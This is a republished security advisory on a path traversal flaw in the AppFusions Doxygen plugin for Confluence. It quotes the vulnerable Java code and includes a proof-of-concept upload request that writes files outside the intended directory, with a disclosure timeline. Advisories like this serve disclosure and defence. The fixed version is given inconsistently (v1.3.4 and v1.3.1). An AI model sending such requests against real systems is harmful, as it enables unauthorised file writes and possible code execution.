Atlassian Confluence AppFusions Doxygen 1.3.0 – Directory Traversal

  • 作者: Julien Ahrens
    日期: 2016-11-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40794/
  • RCE Security Advisory
    https://www.rcesecurity.com
    
    
    1. ADVISORY INFORMATION
    =======================
    Product:AppFusions Doxygen for Atlassian Confluence
    Vendor URL: www.appfusions.com
    Type: Path Traversal [CWE-22]
    Date found: 2016-06-23
    Date published: -
    CVSSv3 Score: 6.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)
    CVE:-
    
    
    2. CREDITS
    ==========
    This vulnerability was discovered and researched by Julien Ahrens from
    RCE Security.
    
    
    3. VERSIONS AFFECTED
    ====================
    AppFusions Doxygen for Atlassian Confluence v1.3.0
    older versions may be affected too.
    
    
    4. INTRODUCTION
    ===============
    With Doxygen in Confluence, you can embed full-structure code documentation:
    -Doxygen blueprint in Confluence to allow Doxygen archive imports
    -Display documentation from annotated sources such as Java (i.e., JavaDoc),
     C++, Objective-C, C#, C, PHP, Python, IDL (Corba, Microsoft, and
    UNO/OpenOffice
     flavors), Fortran, VHDL, Tcl, D in Confluence.
    -Navigation supports code structure (classes, hierarchies, files), element
     dependencies, inheritance and collaboration diagrams.
    -Search documentation from within Confluence
    -Restrict access to who can see/add what
    -Doxygen in JIRA also available
    
    (from the vendor's homepage)
    
    
    5. VULNERABILITY DETAILS
    ========================
    The application offers the functionality to import zipped Doxygen
    documentations via a file upload to make them available within a
    Confluence page. However the application does not properly validate the
    "tempId" parameter, which represents the directory where the contents of
    the uploaded file will be extracted and stored to. This leads to a path
    traversal vulnerability when "/../" sequences are used as part of the
    "tempId" parameter. Since the contents of the uploaded file are
    extracted to the traversed directory, this vulnerability could also lead
    to Remote Code Execution.
    
    In DoxygenUploadServlet.java (lines 63-64) the "tempId" parameter is
    read as part of a GET request to "/plugins/servlet/doxygen/upload" and
    afterwards used in a "getTemporaryDirectory()" call:
    
    String tempId = request.getParameter("tempId");
    String destination =
    this.doxygenManager.getTemporaryDirectory(tempId).getAbsolutePath();
    
    The "getTemporaryDirectory()" function is defined in
    DefaultDoxyGenManager.java (lines 38-41) and constructs a file object
    based on the "java.io.tmpdir" variable, the static string
    "/doxygen-temp/", the user-supplied "tempId" and a file separator in
    between all parts:
    
    public File getTemporaryDirectory(String tempId) {
    File file = new File(System.getProperty("java.io.tmpdir") +
    File.separator + "doxygen-temp" + File.separator + tempId);
    return file;
    }
    
    In the subsequent code the uploaded file as represented by the "file"
    HTTP POST parameter to "/plugins/servlet/doxygen/upload" is extracted to
    the directory which was built using the "file" object.
    
    The following Proof-of-Concept triggers this vulnerability by uploading
    a zipped file, which will be extracted to "/home/confluence" by the
    application: 
    
    POST
    /plugins/servlet/doxygen/upload?tempId=/../../../../../../home/confluence
    HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101
    Firefox/46.0
    Accept: application/json
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Cache-Control: no-cache
    X-Requested-With: XMLHttpRequest
    Content-Length: 966
    Content-Type: multipart/form-data;
    boundary=---------------------------62841490314755966452122422550
    Cookie: doc-sidebar=300px; doxygen_width=256;
    JSESSIONID=75A487B49F38A536358C728B1BE5A9E1
    Connection: close
    
    -----------------------------62841490314755966452122422550
    Content-Disposition: form-data; name="file"; filename="Traversal.zip"
    Content-Type: application/zip
    
    [zipped data]
    -----------------------------98001232218371736091795669059--
    
    
    6. RISK
    =======
    To successfully exploit this vulnerability the attacker must be
    authenticated and must have the rights within Atlassian Confluence to
    upload Doxygen files (default).
    
    The vulnerability allows remote attackers to upload arbitrary files to
    any destination directory writeable by the user of the web server, which
    could lead to Remote Code Execution.
    
    
    7. SOLUTION
    ===========
    Update to AppFusions Doxygen for Atlassian Confluence v1.3.4
    
    
    8. REPORT TIMELINE (DD/MM/YYYY)
    ===============================
    23/06/2016: Discovery of the vulnerability
    23/06/2016: Notified vendor via public security mail address
    29/06/2016: No response, sent out another notification w/o details
    29/06/2016: Response from vendor who asked for full details
    30/06/2016: Sent over preliminary advisory with full details
    03/07/2016: No response from vendor, sent out a status request
    03/07/2016: Vendor temporarily removes product from website
    11/07/2016: Vendor releases v1.3.1 which fixes the issue
    20/11/2016: Advisory released